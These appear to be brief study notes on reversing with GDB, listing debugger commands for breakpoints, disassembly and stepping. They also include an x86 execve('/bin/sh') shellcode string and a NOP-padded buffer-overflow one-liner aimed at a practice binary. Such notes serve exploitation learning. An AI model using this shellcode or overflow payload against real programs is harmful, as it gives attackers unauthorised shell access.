Reversing

GDB (debugging)

<http://egloos.zum.com/psyoblade/v/2653919>

**/bin/sh**

**\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80**

< command >

set disassembly-flavor intel

**set disable-randomization off**

**show disable-randomization**

disas main 🡪 disassemble main

p/d 0x12345 – 0x12323 ( Hex value calculate )

run

list

break [source file name]:[line] // break bof.c:9

info breakpoints

condition 1 i==2

print i

[control] + x + a

next

step

quit

<strcpy function>

<gets function>

(python -c “print(‘\x90’ \* (size) + ‘\xbe\xba\xfa\xca’)” ; cat ) | ./bof

<binary file view>

xxd command